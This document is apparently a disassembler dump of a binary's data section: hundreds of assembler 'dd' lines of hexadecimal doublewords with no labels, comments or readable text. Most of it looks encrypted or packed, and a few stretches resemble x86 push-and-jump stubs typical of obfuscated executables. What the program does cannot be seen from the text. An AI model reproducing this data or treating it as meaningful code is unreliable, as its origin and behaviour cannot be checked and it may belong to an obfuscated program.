		dd 16F4920Ah, 9BF1A000h, 259FD12Ah, 0D11CF913h,	3585DEF2h
		dd 41E7C2C3h, 618EC96h,	86957240h, 42ED7209h, 9F64E114h
		dd 3B1442EDh, 0BF1881D2h, 0B2ECFD6Fh, 0FB0434DFh, 42ACF97Eh
		dd 93EC5514h, 0BA77BB81h, 0CF6DCF8Ah, 49FD7F5h,	42ACE299h
		dd 0F5077014h, 5C11E51Ah, 804F2E0h, 4D1B0000h, 9F1C6C42h
		dd 13A89ACCh, 57C91982h, 97C2531Bh, 2B091BCEh, 8665B08Dh
		dd 0ABBFDC6Bh, 9FF8A5A2h, 226CCC67h, 57BEF3AAh,	0A1B74BA4h
		dd 0C774ACC4h, 13A8F834h, 25753956h, 4CD4E2A8h,	0F347B014h
		dd 6231FAFEh, 31971D5Dh, 0B200000Dh, 0E24B8DAh,	6B811535h
		dd 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h
		dd 0F40AE8FEh
		dd 556D4A60h, 0E15E0EC1h, 13A8E21Ah, 56E473B8h,	5B296179h
		dd 0FC065F7Eh, 0BAAD40BDh, 3FB3925Ah, 99F20574h, 24601D61h
		dd 5BE58778h, 76450E0h,	0D2700000h, 0F8CDDFF3h,	42A08177h
		dd 0D9B25014h, 0D4B381B9h, 325567C0h, 61C54A5Dh, 61C8BD52h
		dd 0AD3BB808h, 0FB13A862h, 0C7A44292h, 0E8C15FAFh, 0E3F590C8h
		dd 885E7C1h, 13A99573h,	4A6476DFh, 6705556Dh, 995F718Bh
		dd 91E1CDC2h, 4D9B4E14h, 4FA30C14h, 62313CACh, 81FD83C3h
		dd 6200000Ch, 0BED4688Ah, 1B31C5E5h, 7B91253Fh,	0DEF4889Ch
		dd 7A53E703h, 0E400DB74h, 42603A50h, 0A4BA98AEh, 51DFA10h
		dd 910EBE71h, 13A8E3EAh, 56942368h, 73116179h, 0A9447C98h
		dd 2603D197h, 0CF98D60Eh, 0B3CBA897h, 0CDA7451Fh, 50DC77AFh
		dd 86215975h, 11669974h, 0CE30E05Ch, 42ACAA51h,	33BF2814h
		dd 8B2A3C58h, 17Fh, 617956B4h, 667E5B29h, 1996F8D2h, 1442A062h
		dd 527587F0h, 8321713Dh, 627C58A9h, 0FE368F2Ah,	0F6735163h
		dd 13A6B3F4h, 25431DBBh, 0BB983413h, 1F789670h,	0BBF34CE7h
		dd 0A6B46D0Eh, 9DC9DA13h, 4B6340DEh, 8B667813h,	0D8780974h
		dd 5DA68422h, 942F6781h, 5668033Bh, 2FB7h, 424DE000h, 1CBA1C6Ch
		dd 52ED2541h, 0A0FE8502h, 0F35C1442h, 0A922E8E1h, 87F013A6h
		dd 0A9D9A24Fh, 5D6E13A6h, 88A7529h, 0D24BD878h,	74000000h
		dd 29617956h, 5631805Bh, 2183C233h, 0C82114DFh,	2B04FB78h
		dd 69D21442h, 2D0AD810h, 320FDD15h, 99F20AE7h, 951005h
		dd 0C5A21442h, 95FA19ADh, 0EE4CC919h, 7D13A4F0h, 0D9B405DFh
		dd 91EA85BDh, 0CDACBE59h, 385831h, 0D6BD0565h, 0CE424EC0h
		dd 0AC872575h, 0C7A24090h, 617799ABh, 0EF166A86h, 946A18A7h
		dd 0B22CE54h, 0E9C10000h, 441D33C7h, 9E7A9024h,	0FBDAF084h
		dd 623D53E7h, 13D9B246h, 0AF435F3Ah, 0DA1BF99h,	6F0319F7h
		dd 0D0647C59h, 0BF06D1Dh, 0C713A8E4h, 2092F382h, 1080B247h
		dd 0E4FE10DFh, 4359ED09h, 9CFE4E66h, 4212581Fh,	0C6DEBB14h
		dd 32A2F38Eh, 0B05D4F00h, 0C1116A39h, 42AEBF44h, 0A0B21B14h
		dd 2906A47Eh, 2C3ED911h, 16F49257h, 1EFAC800h, 0D831CC04h
		dd 0C0CFACC6h, 42A0BC43h, 58B11A14h, 5D755220h,	520FBC9h
		dd 4D8A0000h, 0BA1C6C42h, 3A1C431Ch, 4B716BADh,	1BB6EE47h
		dd 0BF6A1009h, 7FE813A6h, 0AB50CD2Fh, 2713A6BFh, 39E6ACBEh
		dd 13A6BF46h, 0CB0F405h, 0D877F2F3h, 234E4h, 83770D00h
		dd 0D1442A0h, 5FDC2C82h, 13A8996Fh, 0CE6CBC25h,	2F45D9F1h
		dd 2B023A52h, 7DFA4A64h, 144C94A7h, 0E2FCD876h,	3488F1D0h
		dd 623237DBh, 2DF67CBCh, 0B600000Ah, 1228BCDEh,	6F851939h
		dd 0CFE57993h, 3248DCF0h, 0CEA73B57h, 38542F28h, 96B48EA4h
		dd 0F80EEC02h, 59714E64h, 0E56212C5h, 13A8E51Eh, 56E877BCh
		dd 36542E79h, 0C90363FEh, 0E318C866h, 49174FA8h, 0DE1C546Ch
		dd 435736D4h, 6DD09431h, 0AE47890h, 5A423198h, 0BBCDD419h
		dd 5BC41FE0h, 19BB8E0h,	56E10000h, 5B296179h, 0F8D2667Eh
		dd 1EB21986h, 0FB0DFED1h, 0A7F7B7D8h, 0A660A02Ah, 4D85EE13h
		dd 25431DBBh, 47611A13h, 0D5E613A6h, 3612ED91h,	36C3D877h
		dd 0EC000000h, 0FE18F492h, 0F6192BC6h, 48C51599h, 13A6A982h
		dd 46EDE050h, 0AAD255A6h, 0A654562Dh, 429B0413h, 7B04B1E9h
		dd 0D013A654h, 28D787BFh, 0ADD8771Dh, 0ECh, 2E7956D6h
		dd 64FF3753h, 6149BB0Bh, 0F87FFCE9h, 561442C4h,	34F18DEDh
		dd 0A133F90Bh, 0D83DC23Fh, 30991442h, 0D29041Eh, 122A07D5h
		dd 172F0CDAh, 2B6855C7h, 86E606DFh, 0CADCABD0h,	0A0C2B3A8h
		dd 78551442h, 0E2ADCC60h, 3DE7CCCh, 214AFE7h, 0E189A724h
		dd 76D813A4h, 0A52E02F9h, 5567D013h, 1FBD0D76h,	0A2B92144h
		dd 99C9B1F4h, 0BF18300Dh, 1E3A152Bh, 18C94FCAh,	961C5C6Ah
		dd 8E0h, 75092B03h, 0D266865Fh,	32C6E0BCh, 95293D1Ch, 0F488A47Fh
		dd 0A17CD51Bh, 1DBF185h, 5B394FE3h, 0BE9BB145h,	0AF5F12A6h
		dd 0A8E64D32h, 35C40913h, 6687B56h, 42A0F289h, 8CF76014h
		dd 1442A0F7h, 946EFA63h, 5BCD1D76h, 0A8837DD4h,	7A9CAE47h
		dd 73632EA0h, 96752DB8h, 0ADE076BBh, 2146D7Ah, 5FF30BE8h
		dd 0EF0DE785h, 350A1CB7h, 29617956h, 0B9973597h, 0A04338A3h
		dd 0A60F1442h, 7E9D7A94h, 33C5747h, 0BA377432h,	0DA7EAA18h
		dd 76D82881h, 420302F9h, 0AF54D114h, 2B144203h,	0F60871C2h
		dd 825CFAD4h, 43C5431h,	2CFE1069h, 2B6h, 6C424DBBh, 0D4D8AA1Ch
		dd 864F3C25h, 0F507B026h, 0C7D9BCEFh, 45DE6CE9h, 238C13A8h
		dd 0B9BD3EEBh, 0F90A13A9h, 2FAC0E4Dh, 13A9B948h, 0B08B9D06h
		dd 0D870F84Fh, 956AE749h, 4113A9B5h, 576F4CD8h,	0D372841Fh
		dd 22Eh, 627655F3h, 83777B50h, 0D1442A0h, 3EDC2C82h, 5B394B5Fh
		dd 677D5BF9h, 9AE65C55h, 0B7413A8h, 27DC59BBh, 0B413A89Ah
		dd 0A89A4037h, 54A50E13h, 6B7C8BEBh, 8827728Bh,	1DFA9876h
		dd 0F9977105h, 0EA910E1Bh, 6813A8F8h, 0D36EA6FFh, 0B2CAA7C1h
		dd 0CBECA37Ah, 0A8F8A94Eh, 63BC2513h, 3513B113h, 4E140D1Fh
		dd 0C144CF6h, 19D44FA3h, 0ABEB6232h, 77325h, 76987000h
		dd 0D3F3CCE2h, 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h
		dd 485EF20Eh, 0A6BC506Eh, 81EB2C8h, 0CC7F132Bh,	0E8D89F1Ch
		dd 317613A8h, 617956A2h, 667E5B29h, 809E7816h, 0D59BAD48h
		dd 0AE2B8D97h, 1442A0C9h, 6D0A1C85h, 51694639h,	1119E6BDh
		dd 5FBEE05Ch, 0DE000001h, 3861936Ch, 0D3E0405Eh, 0AC819397h
		dd 29617956h, 0D2667E5Bh, 82D2DCB3h, 0B4EC0AE4h, 0AC290719h
		dd 13A6B322h, 22CF0770h, 13A6B459h, 0F2A9DDEEh,	0B46C1390h
		dd 81EA13A6h, 96B946Fh,	376CD878h, 95000000h, 1C6C424Dh
		dd 24DB58BAh, 0B21442A0h, 877CF949h, 531442A0h,	29DFD8EAh
		dd 0E713A6A9h, 16B4467Eh, 120B1D3Dh, 13A6A969h,	0E599CDDEh
		dd 0D878081Ah, 0CABBh, 7956E400h, 0E23B4F2Eh, 0E501DCAAh
		dd 0B702DFADh, 3068C1DBh, 0BB642C9Eh, 97ED34B5h, 23831B55h
		dd 0DEF017AAh, 0C09CE7C4h, 0DFB94DA6h, 11B43E6Dh, 0C2C411A9h
		dd 0D0EA4AD2h, 63AB9DD8h, 0AF6FF3DEh, 0AA4B4456h, 0FD14425Eh
		dd 56B80820h, 425E22D9h, 3547B014h, 0C09B3913h,	206F92A4h
		dd 2D657F5Bh, 126B815Fh, 4EEC69B9h, 1C13A4B9h, 0EAC563B3h
		dd 49243ACEh, 37E9F226h, 8EE76E79h, 193AF33Ah, 1AA0E06Ah
		dd 618h, 3DD1F3CBh, 9A2E4E27h, 0FA8EA884h, 5DF105E4h, 0BC506C47h
		dd 69441DE3h, 0C9A3B94Dh, 230117ABh, 8663790Dh,	7727DA6Eh
		dd 0A8E905FAh, 0FD8CD113h, 0CB5F7B56h, 70C0D8B5h, 0CADCF6D2h
		dd 5230CEA8h, 56552A3Ch, 5B296179h, 0DF26F7Eh, 0C91442A0h
		dd 1394F2Dh, 20B40D66h,	4152h, 7956E100h, 7E5B2961h, 99781666h
		dd 0DC4BE77Eh, 0F34C3C94h, 3AB71BE1h, 0D2B14F0Ah, 6BE486BEh
		dd 0C6462CA6h, 1933459Eh, 0D6731D3Ch, 4C1400A6h, 23855FF3h
		dd 42D5D1A6h, 2147D14h,	1930h, 7956BF00h, 0D8A02B5Ah, 348D88DDh
		dd 99AD4FFCh, 0FF281442h, 0E3FBD847h, 79567E4Fh, 99731161h
		dd 58A8437Bh, 42A024DBh, 3749B214h, 6741DF71h, 7B143749h
		dd 0C466E333h, 8A13A89Ah, 0FD6FD121h, 0FD63BE70h, 3F0DBC52h
		dd 0BF72585h, 3236CD4Ah, 3BA413A8h, 0D9B6D0E2h,	3A172DC1h
		dd 0B25F831Bh, 0C11AADB6h, 0D1DDB289h, 0BCDD0481h
		dd 1C7E1442h, 96FED89Fh, 0FB0D761Bh, 0C563B31Ch, 0E1BFD1E7h
		dd 0FE4E6643h, 0FE581F9Ch, 8DF61B96h, 6643597Bh, 8160FE4Eh
		dd 0BE955B6Dh, 108DDDD1h, 1C72E9B2h, 340357C0h,	0B35A480Ah
		dd 4CEED73h, 3D150000h,	9871871Bh, 0F2CEE478h, 4F2E44D8h
		dd 0B691A73Bh, 0C72D069Ah, 397B38Eh, 61F513EDh,	0C3576D4Bh
		dd 24B8D0ADh, 0BF44C171h, 1B13A8EAh, 795647D6h,	0DAB7CD61h
		dd 931072C2h, 1442A0ECh, 29EF016Ah, 0C3B83597h,	8F1442A0h
		dd 1DFA1426h, 569A61FEh, 0B390DB17h, 6FC8639Bh,	96A0DE16h
		dd 0CD0519F8h, 0C3832032h, 0D3677F5Ch, 687C5BF9h, 93847B56h
		dd 7412E05Bh, 0CF6E8096h, 44h, 6C424DF8h, 0EF3B9F1Ch, 0F05913A6h
		dd 0E2402A0h, 0F0F8857Ah, 421F13A6h, 0A280962Ah, 21161E85h
		dd 9CF54AB3h, 0C2D1AE4Ch, 0A687BE45h, 5AB31C13h, 7D0E90FAh
		dd 618771Eh, 3310AE40h,	0D37091Bh, 0C6000004h, 0CCB33092h
		dd 8A1442A0h, 18F50F21h, 3812B000h, 0B042081Ah,	0D1F3312h
		dd 6AFE16F3h, 0F673444Bh, 1442A001h, 0BB0B64CDh, 0A6B34C3Eh
		dd 49990213h, 0A3B5CFABh, 0B44F30DDh, 0EBFC13A6h, 886200BBh
		dd 827D586Ah, 53D87809h, 5Bh, 6C424D7Ch, 7FA47E1Ch, 0CA1DDC26h
		dd 1FAB04C2h, 56F12943h, 23E96644h, 0F213A642h,	4F617554h
		dd 22CF0770h, 13A65459h, 34BAE1BAh, 1112A1B8h, 0F5C3FB54h
		dd 36C80018h, 0A664C2B9h, 0B2279013h, 8FE7ABDBh, 6996C67Eh
		dd 2FD8774Dh, 68AB50CDh, 0BE2713A6h, 0AF0DACh, 56360000h
		dd 0AF116179h, 0E41C3411h, 0A019DE49h, 4CB51442h, 0CBA6743Ah
		dd 0CCA977AFh, 0EAC664B4h, 6FA7C19Dh, 0A8437BD4h, 0A024DB58h
		dd 49B21442h, 0C6A37137h, 4C84A07Bh, 0CFC458B1h, 1442A4C6h
		dd 0C85C7451h, 85BDD5B2h, 7DCDE1AEh, 0A6AA9200h, 0C357C013h
		dd 53714BE9h, 3D711E41h, 59D870EDh, 319A1440h, 4C6843E1h
		dd 0ABC7A2B8h, 3581EA57h, 4BD11162h, 2F0h, 65F91BF3h, 0C256764Fh
		dd 22B6D0ACh, 85192D0Ch, 0E478946Fh, 916CE50Bh,	0F1CBE175h
		dd 4B293FD3h, 0AE8BA135h, 9F4F0296h, 0A8EC5D22h, 25B4F913h
		dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 8B9F7E1Ch,	0C8A6B853h
		dd 0A6A9854Bh, 0D7B65413h, 0DEF08BC3h, 0B15E96FFh, 13A6A9CEh
		dd 0A8B92B7Dh, 0B55413CEh, 9BCB687Ah, 772A1CE3h, 0DBB9D8h
		dd 3BD90000h, 5B304262h, 29617956h, 1464805Bh, 4A829876h
		dd 45D79DAFh, 0A09166E3h, 0D43D1442h, 0A4DCC9C2h, 15871442h
		dd 9DD0E0ADh, 112B3D3Dh, 72881C34h, 6E457D95h, 0C03D8D21h
		dd 13A6D1D2h, 65C71780h, 0A62D13E8h, 4456BF13h,	228C0322h
		dd 0CB5255D2h, 83211440h, 0BD5890A4h, 1363CCABh, 7DDD4FB1h
		dd 17A230E5h, 80E09702h, 56E1B89h, 0E2FED9F3h, 0FCD6744Eh
		dd 0F90BA6DEh, 94E804DFh, 62355FB7h, 0F9921858h, 0EA000001h
		dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh
		dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h,	199646F9h
		dd 13A8ED62h, 561CABF0h, 0F1CB5F7Bh, 4C5E7653h,	0F8365532h
		dd 39573198h, 29A177D9h, 8E280D0h, 6A805EEAh, 63859732h
		dd 61795692h, 1EF99729h, 0FD940EFBh, 0B009B60Fh, 108DDD78h
		dd 1442EC6Bh, 526C7EE7h, 0B3C95D75h, 0AF86BED6h, 1C7ECEE0h
		dd 118EA57Eh, 1442EC6Ah, 14267FE8h, 0A6F5F11Bh,	0DE167F13h
		dd 65145027h, 4FD970F3h, 65687B8h, 0A69CF289h, 0E5F76013h
		dd 0C5A3EECBh, 68E577AFh, 13A69C93h, 247DD63Fh,	891E7190h
		dd 9DE1B1D6h, 0B6065FFFh, 42791F39h, 0C4FC6514h, 2EFA19F6h
		dd 0D61C1B56h, 37A9F952h, 6A3E00D7h, 0ED4E661h,	0FD792DAAh
		dd 0F30DE992h, 6BCD4A9Ah, 0F91C6ED8h, 9E6FC90h,	0B527B9F1h
		dd 3C6DFD0Ah, 0EA0416C4h, 7BEF60Ch, 0E3457430h,	0EEBF9166h
		dd 0C2A13D03h, 294355AEh, 81A0344Ch, 0D350A00Eh, 40AA6B9h
		dd 0C896CE37h, 0AAC4A0EBh, 8B621951h, 2402A0DBh, 0EB3BD60Eh
		dd 0D298896Eh, 0CADC450Bh, 0B993E8A7h, 0BC95639Bh, 9AEA439Ch
		dd 3681F31Dh, 8220820Ch, 5C238EA4h, 0BF3336F1h,	0F994CCE0h
		dd 4E2D3FA8h, 157751E5h, 36F1E398h, 0F9D36F33h,	4D7082DBh
		dd 9F1C6C42h, 34DCC87Eh, 0A573AB14h, 85A37DC8h,	0AD061AF9h
		dd 0E260319h, 5ED729D6h, 69420051h, 69431149h, 0CD5134Bh
		dd 0DFA42158h, 7B7EEEA0h, 0D997B912h, 0E343613Bh, 513C5F7Dh
		dd 1AB7C9E8h, 0CB16F36Ah, 0E579D2F2h, 0C9A7F2CFh, 558DA180h
		dd 8E2961BAh, 0CD6BFD35h, 0ABC5D7F1h, 0B280B8CCh, 0B583BBD7h
		dd 0B249C6DBh, 207EEEB5h, 0E7265EB7h, 0B72C6420h, 0DCB9A4E0h
		dd 3D1A30C4h, 0D67ED25h, 0F6000000h, 0CCB33092h, 8A1442A0h
		dd 0DD2C0F21h, 245C7E56h, 29617956h, 2F677D5Bh,	31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 0E38953EEh, 4C381h, 0B9510000h, 4, 8759CB29h, 685C241Ch
		dd 61ADh, 68241489h, 7DBCh, 68242C89h, 7EA3B2Dh, 8124148Bh
		dd 4C4h, 2C8B5400h, 4C48324h, 762C68h, 24148900h, 8B08458Fh
		dd 8956242Ch, 4C681E6h,	83000000h, 348704C6h, 148B5C24h
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FA2DD6E9h
		dd 593272FFh, 4FB2B896h, 0C50307EAh, 81EDE0FFh,	0A44465CDh
		dd 6EEB265Dh, 0AFB52EDBh, 49716F69h, 4E82466h, 0C5343C55h
		dd 4B1E6FCFh, 60B345A7h, 1F6D1FC9h, 8DED63C9h, 48A859A8h
		dd 794879BBh, 7167D80h,	0A11A4353h, 692E6648h, 0E1E26348h
		dd 66F97CA0h, 0E0644DD6h, 6E8B4ADFh, 49B31C4Ah,	3A4868F9h
		dd 0AABB004Eh, 30BA4FB2h, 0B49349BFh, 0CFDD2FA4h, 0E8581868h
		dd 0DA9B41CBh, 0F4DE1EB5h, 869537D0h, 0A179021Eh, 80840B0Dh
		dd 0FE80A0Eh, 2A000000h, 8B46BCE4h, 9C57D05h, 0A461AFC0h
		dd 0F280FA0Ah, 0DE85E63h, 3A000000h, 0FADD264h,	0E08A65F3h
		dd 53A1B12h, 0A957BF66h, 2AC6815Fh, 0E900005Ch,	11h, 9333D2DAh
		dd 6E016CA4h, 7225EAB7h, 0DEB38189h, 5548B8BDh,	0C08131B7h
		dd 0CE48C190h, 0FFFE8B66h, 815BFC36h, 0F45255EBh, 0CA816656h
		dd 0EB818999h, 544FEDF5h, 11E9h, 848B3700h, 563E9C10h
		dd 3B703CEFh, 4751861Dh, 0EB81FDC0h, 35E7DB23h,	3BAFCF81h
		dd 1E892B8Eh, 0EE81FA8Bh, 6D12AE32h, 0CE9h, 1943A700h
		dd 67DDF04Ch, 0A20060D1h, 2EC68164h, 606D12AEh,	0DFE68057h
		dd 6870F5Eh, 81000000h,	86C8AFF2h, 0E8836131h, 8C850F01h
		dd 60FFFFFFh, 0F238BA66h, 0A7E961h, 11F50000h, 0CC470DBEh
		dd 38F3BAF5h, 0AFD666D1h, 0B2979FABh, 0B7E37C4Dh, 0E5720095h
		dd 9CB5E9A9h, 77609BB6h, 94A9B6F3h, 0D7609EB7h,	0BD897D60h
		dd 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h, 937E9BB9h, 96B99D89h
		dd 9E96AFF4h, 0D6B594A1h, 0FD91A7h, 4ACC48D1h, 713C3359h
		dd 0DB4D5200h, 5EF357h,	9DBBEFB6h, 9500BD89h, 0EFB69F89h
		dd 0D00097BBh, 55C3B1B6h, 37005271h, 0D3C20DA4h, 0E0910h
		dd 0Ah dup(0)
		dd 1005E900h, 0FC680000h, 0E907EA53h, 0FFFA2BBBh, 0EA550268h
		dd 2BB1E907h, 0D468FFFAh, 0E907EA55h, 0FFFA2BA7h, 0EA56F468h
		dd 2B9DE907h, 8968FFFAh, 0E907EA57h, 0FFFA2B93h, 0EA582268h
		dd 2B89E907h, 0C068FFFAh, 0E907EA58h, 0FFFA2B7Fh, 0EA596B68h
		dd 2B75E907h, 1A68FFFAh, 0E907EA5Ah, 0FFFA2B6Bh, 0EA5B1368h
		dd 2B61E907h, 0E268FFFAh, 0E907EA5Bh, 0FFFA2B57h, 0EA5D4368h
		dd 2B4DE907h, 9A68FFFAh, 0E907EA5Fh, 0FFFA2B43h, 0EA608D68h
		dd 2B39E907h, 4119FFFAh, 9C758B1Fh, 0F6D2E87Ch,	533248DCh
		dd 0BA95AB3Fh, 0CB310A9Eh, 79BB792h, 65F917F1h,	0C75B714Fh
		dd 28BCD4B1h, 0B348C575h, 1F13A8F2h, 20924BDAh,	0E03ADC01h
		dd 2842546Fh, 2DFB334Bh, 0C2C0550h, 4CE039D4h, 0D855622Dh
		dd 14423623h, 9DED46AFh, 1555C62Bh, 54E0CAB6h, 704E6076h
		dd 0A68EF9F3h, 3D1BB713h, 0FB54EF27h, 0B59331C3h, 0EB948D9Fh
		dd 6013A6F1h, 4794700Eh, 0E3F54E6Eh, 0A15E1E46h, 36D877CCh
		dd 29h,	6C424D5Fh, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h, 142513A6h
		dd 7D32C50h, 0D004D878h, 24000000h, 3B00DEB2h, 6B7D4607h
		dd 0B3309296h, 1442A0CCh, 556764Fh, 93708A9Ch, 0A0700784h
		dd 75DE1442h, 0B452E41Ch, 0EA85BDD9h, 0C7E3BED8h, 0CCE4C18Fh
		dd 0DAE9C694h, 42A0A65Dh, 72CB3414h, 0A4FDE9DEh, 0AA81442h
		dd 40DB132Fh, 87BFD7B4h, 0E3C0DAECh, 442137CBh,	721DF42Ch
		dd 0F56FEC3Ch, 0BB13A6B1h, 0F09FBE52h, 6E0C6EBEh, 6B647694h
		dd 14405360h, 375C52Eh,	0F8126113h, 2C0A1CE4h, 397B38Eh
		dd 0A2F612EDh, 623571BDh, 93B43A7Ah, 5200000Dh,	0AEC4587Ah
		dd 0B21B5D5h, 6B81152Fh, 0CEE4788Ch, 6A43D7F3h,	0D4F0CB84h
		dd 32502A40h, 94AA889Eh, 0F50DEA00h, 81FEAE61h,	13A8F3FAh
		dd 92841358h, 0C7FF17F4h, 25001A2Ch, 825F7509h,	4D05D66Ah
		dd 0BA1C6C42h, 13F2411Ch, 9B94A6FFh, 13A6A9D5h,	78EA3AA3h
		dd 5A2E3145h, 0DEA4B675h, 2669DA4Ch, 93F30FEAh,	9C28A202h
		dd 0D06BA3C3h, 0BD3AC5BEh, 809113A6h, 0F46798C4h, 0CE70D877h
		dd 90000000h, 860318F2h, 13A6B1F1h, 899BF45Dh, 5A7956B4h
		dd 0FC325585h, 0CF076062h, 0FAD72601h, 0B60FAAE2h, 0D9C5D17Eh
		dd 77541442h, 0D8B5CB5Fh, 0F9D270C0h, 0F406A1D9h, 7638572Eh
		dd 35AFA926h, 59F513A6h, 0BD0D667Ah, 3619DE5Bh,	4CB513A6h
		dd 96F9183Ah, 5AA13F11h, 0BE4AEF96h, 0F48FC7E3h, 0F2CE4B9Bh
		dd 801440BEh, 4E29C717h, 4B73FC2Bh, 0AD06AA70h,	0D9280319h
		dd 11ACE4FCh, 1E0564B8h, 6466235h, 0C8D80h, 5E805800h
		dd 0BBDBB4CAh, 1B351127h, 7E927187h, 0DDF9D4EAh, 0D18A7049h
		dd 3046DAF6h, 8EA43856h, 0F0069AB0h, 0B467FB13h, 0F5F08704h
		dd 195E13A8h, 5F7B568Ah, 0C9D8B5CBh, 42A0B74Ch,	5ABA2314h
		dd 4C8205D5h, 63F75083h, 61795692h, 667E5B29h, 0C6E0BCD2h
		dd 0CBE3C08Eh, 499F1037h, 3D5B3546h, 0C1116A05h, 0A68C9644h
		dd 0D2DB4413h, 2CBD35C7h, 763857E4h, 0E05FA926h, 9C05ECC8h
		dd 7560D264h, 46C02E54h, 0A8E70A1Ch, 0EBED920Fh, 0ED6A1310h
		dd 1310EB16h, 0A10A5BC4h, 1996F848h, 1310EB62h,	0EB8F74F1h
		dd 0E24B1310h, 38162891h, 0F75B67BBh, 7CCC3514h, 0D7B601DEh
		dd 0A81A6AC3h, 0B6A03157h, 0C2E4F606h, 63B7CFACh, 62C6CB10h
		dd 0BB890F4Fh, 2A00000Bh, 869C3052h, 0E3F98DADh, 4359ED07h
		dd 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh, 0A280218h, 6C826076h
		dd 0CDE5C2D8h, 59D68639h, 13A8F5A2h, 565CEB30h,	52296179h
		dd 0A421713Dh, 13A68CEEh, 1C3210ACh, 5CF049E4h,	0EB0BE482h
		dd 0D5D9B6D9h, 0A8820885h, 67D01442h, 0F3F9822Fh, 3D4E1B8Ah
		dd 0BEAA5509h, 3F2BD093h, 54000000h, 1C6C424Dh,	0A6EF3B9Fh
		dd 9CE95913h, 485C3BC8h, 7528A5E8h, 0B9F10FE9h,	0D775C51Eh
		dd 103BDCF9h, 100A38ECh, 4F2E23B7h, 0C813A690h,	293FD3EBh
		dd 0A28024Bh, 0A6DE37D2h, 0B1520h, 424DAF00h, 0DC9F1C6Ch
		dd 7213A8F2h, 0F2EE9512h, 0D06C13A8h, 0AA5DDF1h, 6A0858B1h
		dd 7E1758Dh, 83996095h,	0E874256Eh, 1CB7EF0Fh, 0FB13F00Ah
		dd 0BA3ECC3h, 0E3323EBBh, 37A01442h, 216C49E7h,	41D52E42h
		dd 0F3880567h, 5F1B96C4h, 98D0E4C3h, 3E18A4FDh,	17F40E20h
		dd 9FF0C7FFh, 0BF5DBF0Fh, 5E3CC8E4h, 63751048h,	72D34C6Ah
		dd 5DB11A1Ch, 5A481B20h, 9B8D1353h, 4A00000Ah, 0A6BC5072h
		dd 319ADCDh, 63790D27h,	0C6DC7084h, 623BCFEBh, 0CCE8C39Ch
		dd 2A482238h, 8CA28096h, 0ED05E2F8h, 79F6A659h,	13A8F682h
		dd 927C0B50h, 0A0CCB330h, 0AC7B1442h, 0D7059BDDh, 6F81EA3Bh
		dd 42A48576h, 248A0514h, 3E5C36D4h, 7B596B06h, 0A8F5EAFEh
		dd 95076913h, 39282805h, 591E8920h, 0F513A895h,	329B7A8Ch
		dd 4F6744E2h, 0B0C8A5BBh, 0C0EEA178h, 0B93DF370h, 8AFC144Ch
		dd 24C618B9h, 4A24B0B4h, 0D23B1A2Ch, 31BB097Eh,	0B83E7E62h
		dd 0A06h, 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h
		dd 0D064805Bh, 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h
		dd 8B3BEE82h, 0A8F7690Eh, 11A0E513h, 29617956h,	5D412597h
		dd 52684A84h, 31492640h, 496443E1h, 32DA984Fh, 558DE6C7h
		dd 9EE2A8BAh, 6F9A5E1h,	0CFE05B6Ah, 494h, 15F492F8h, 1C2EC901h
		dd 0C81896F9h, 0A8F1134Bh, 858C113h, 0E1758D6Ah, 0CAA3EECBh
		dd 7ED772AAh, 0F2E69946h, 672813A8h, 0B47AF747h, 82144CDEh
		dd 18CCC519h, 8FCF6232h, 96D09h, 7EA07800h, 0DBFBD4EAh
		dd 3B553147h, 9EB291A7h, 0FD19F40Ah, 0F16A9069h, 5066FA16h
		dd 0AEC45876h, 1026BAD0h, 0D4871B33h, 0F8D0A724h, 397E13A8h
		dd 617956AAh, 667E5B29h, 792DEA2Eh, 9C63E042h, 3A1442A0h
		dd 1BE4BFD1h, 0BCE05C1Dh, 408h,	0A08477E5h, 89061442h
		dd 7E58D525h, 413A8F1h,	0D0AD4B9Bh, 0AC4A24B8h,	8DA7B9CDh
		dd 5F24A1B0h, 0FB13A8F2h, 3EC54292h, 9C13A8F2h,	10A2DA33h
		dd 93A45E9Eh, 3B4D8927h, 0E7377718h, 4C00A46Ah,	0B5097214h
		dd 6231DEE6h, 0CF0389C9h, 16000008h, 72881C3Eh,	0CFE57999h
		dd 2F45D9F3h, 92A83C50h, 2E079BB7h, 98B48FC8h, 0F614EE04h
		dd 586E4C62h, 0B9D1AEC4h, 45C27225h, 13A8F8BEh,	5648D71Ch
		dd 97296179h, 0FAF6B725h, 2BA8D4ABh, 14429154h,	2E409902h
		dd 0E71F3714h, 0FEBEE6A3h, 0E05BED01h, 363D6h, 8277FF00h
		dd 0C1442A0h, 5EDB2B83h, 13A8F17Fh, 80E6A214h, 73EF2D23h
		dd 0C9198261h, 192F4E2Bh, 7C038062h, 0DA13A88Eh, 23161171h
		dd 354BDF38h, 52F04058h, 8B265E74h, 0D40C20FFh,	8A612739h
		dd 0DC59A905h, 144C5706h, 8E176BD4h, 35623190h,	8246FF5h
		dd 0E9C10000h, 441D33C7h, 9E7A9024h, 0FBDAF084h, 623D53E7h
		dd 13D9B246h, 0AF435F3Ah, 0DA1BF99h, 6F0319F7h,	0D0647C59h
		dd 0BF06D1Dh, 0C713A8F9h, 0F492F382h, 0D0EAFC1Ah, 0D5A3DBF3h
		dd 6AA8E0F8h, 9D7AE5A1h, 0F5F7352h, 42A0ED92h, 0A7006914h
		dd 11C33C13h, 714E05Ch,	3D000000h, 2AF9Eh, 82772D00h, 0C1442A0h
		dd 79DB2B83h, 0AAE202DBh, 949E8B08h, 0D52E8606h, 0C2D8CAC3h
		dd 1D8613A8h, 3A522FCDh, 9BB390A6h, 0F26FD163h,	13A8240Dh
		dd 2B4E60C9h, 98FA4A64h, 0C90121FAh, 7D231C2Eh,	1B144C2Ah
		dd 5515EB2h, 46866232h,	775C0h,	76987000h, 0D3F3CCE2h
		dd 334D293Fh, 96AA899Fh, 0F511EC02h, 0E9628861h
